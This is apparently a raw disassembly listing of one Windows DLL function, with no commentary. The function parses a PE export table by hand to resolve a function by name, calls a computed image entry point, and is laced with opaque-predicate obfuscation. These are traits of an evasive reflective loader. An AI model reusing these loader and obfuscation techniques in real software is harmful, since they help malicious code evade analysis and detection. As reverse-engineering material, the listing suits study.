mov qword [r15], rax
mov eax, dword [0x180020a74]
mov ebx, dword [0x180020a78]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
cmp ebx, 0xa
jl 0x18000230f
test ecx, ecx
je 0x18000230f
mov rcx, qword [rsp + 0x40]
call fcn.1800023e0
mov r10, rax
movsxd rax, dword [rax + 0x3c]
cmp dword [r10 + rax + 0x8c], 0
je 0x1800022af
mov edx, dword [r10 + rax + 0x88]
cmp dword [r10 + rdx + 0x14], 0
je 0x1800022af
cmp dword [0x180020a84], 0xa
jl 0x18000223b
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180002363
mov r9d, dword [r10 + rdx + 0x18]
test r9d, r9d
je 0x1800022af
mov r8d, dword [r10 + rdx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180002268
mov eax, dword [0x180020a90]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180002367
add r8, r10
mov edi, dword [r10 + rdx + 0x20]
mov r11d, dword [r10 + rdx + 0x24]
add rdi, r10
add r11, r10
xor edx, edx
mov ecx, dword [rdi]
add rcx, r10
mov rsi, rbp
movzx eax, byte [rsi]
movzx ebx, byte [rcx]
test al, al
je 0x18000229b
add rsi, 1
add rcx, 1
cmp al, bl
je 0x180002285
cmp al, bl
je 0x1800022f6
add edx, 1
add rdi, 4
add r11, 2
cmp edx, r9d
jne 0x18000227d
xor r10d, r10d
cmp dword [0x180020a84], 0xa
jl 0x1800020c0
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x1800020c0
jmp 0x18000235b
movzx eax, word [r11]
mov eax, dword [r8 + rax*4]
add r10, rax
cmp dword [0x180020a84], 0xa
jge 0x1800021a2
jmp 0x1800021b7
movzx eax, word [r11]
mov eax, dword [r8 + rax*4]
add r10, rax
cmp dword [0x180020a84], 0xa
jge 0x1800022bf
jmp 0x1800020c0
add r15, 8
add qword [rsp + 0x60], 8
cmp ebx, 0xa
jl 0x18000209a
test ecx, ecx
je 0x18000209a
jmp 0x180002369
add qword [rsp + 0x48], 0x14
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
cmp ebx, 0xa
jl 0x180001e16
test ecx, ecx
je 0x180001e16
jmp 0x180001df8
jmp 0x180002351
jmp 0x180002353
jmp 0x180002355
jmp 0x180002357
jmp 0x180002359
jmp 0x18000235b
jmp 0x18000235d
jmp 0x18000235f
jmp 0x180002361
jmp 0x180002363
jmp 0x180002365
jmp 0x180002367
jmp 0x180002369
cmp ebx, 0xa
jl 0x180002376
test ecx, ecx
je 0x180002376
jmp 0x180002374
mov rax, qword [rsp + 0x38]
mov eax, dword [rax + 0x28]
add rax, r14
call rax
cmp dword [0x180020a78], 0xa
jl 0x1800023cc
mov eax, dword [0x180020a74]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x1800023cc
mov rsi, qword [rsp + 0x38]
mov eax, dword [rsi + 0x28]
add rax, r14
call rax
mov eax, dword [rsi + 0x28]
add rax, r14
call rax
cmp dword [0x180020a78], 0xa
jl 0x1800023cc
mov eax, dword [0x180020a74]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x1800023a2
add rsp, 0x68
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret